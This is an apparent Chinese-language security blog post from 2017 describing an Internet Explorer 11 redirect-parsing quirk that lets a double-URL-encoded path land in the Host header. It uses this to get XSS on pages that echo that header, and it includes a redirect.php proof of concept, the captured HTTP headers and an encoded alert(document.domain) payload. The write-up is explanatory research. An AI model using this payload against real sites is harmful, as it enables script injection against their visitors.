心 空

  • Tools
Ricky Hao
  1. 首页
  2. CTF
  3. 正文

XSS:IE下Host头XSS绕过

31 8 月, 2017 3849点热度 1人点赞 0条评论

0x00

有些网站会将HTTP Header里的Host项打印出来(就像参考里说的Google)。那么我们就可以利用这一点,在IE里通过Host Header来进行XSS绕过。
影响版本:IE 11

0x01 IE对跳转链接的解析问题

同样是对跳转链接的解析,感觉IE这方面出了好多问题。
例如,我们构造一个跳转页面

# redirect.php
<script>
window.location.href="http://target.com%252fvul.php";
</script>

这里的%252f是对/进行了两次URLEncode。
在IE里,若是访问这个页面,那么Response Header会像这样

HTTP/1.1 302 Found
Server: nginx/1.13.4
Date: Fri, 25 Aug 2017 04:17:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.8
Location: http://target.com%252fvul.php
Content-Length: 0

而跳转的Request Header会是这样

GET /vul.phphp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 127.0.0.1/vul.php
Connection: close

在这里就出现问题了。
首先是GET后面的路径异常,而后是Host后面的主机地址居然带上了我们的请求路径??
对于这部分的解释可以看文末的参考链接,在这里我们先讲如何利用。

由上面可以看出,我们若是将跳转链接中的/全部进行二次URLEncode,那么在跳转请求里的Host Header里就会带上我们的请求路径。
那么很简单,构造一个这样的跳转页面就可以了

# redirect.php
<script>
window.location.href="http://target.com%252f%3c%252ftitle%3e%3cscript%3Ealert%28document.domain%29%3C%252fscript%3E');";
</script>

0x04 参考

XSS via Host header - www.google.com/cse

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可
标签: web xss
最后更新:31 8 月, 2017

Ricky

这个人很懒,什么都没留下

点赞
< 上一篇

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理。

COPYRIGHT © 2025 心 空. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang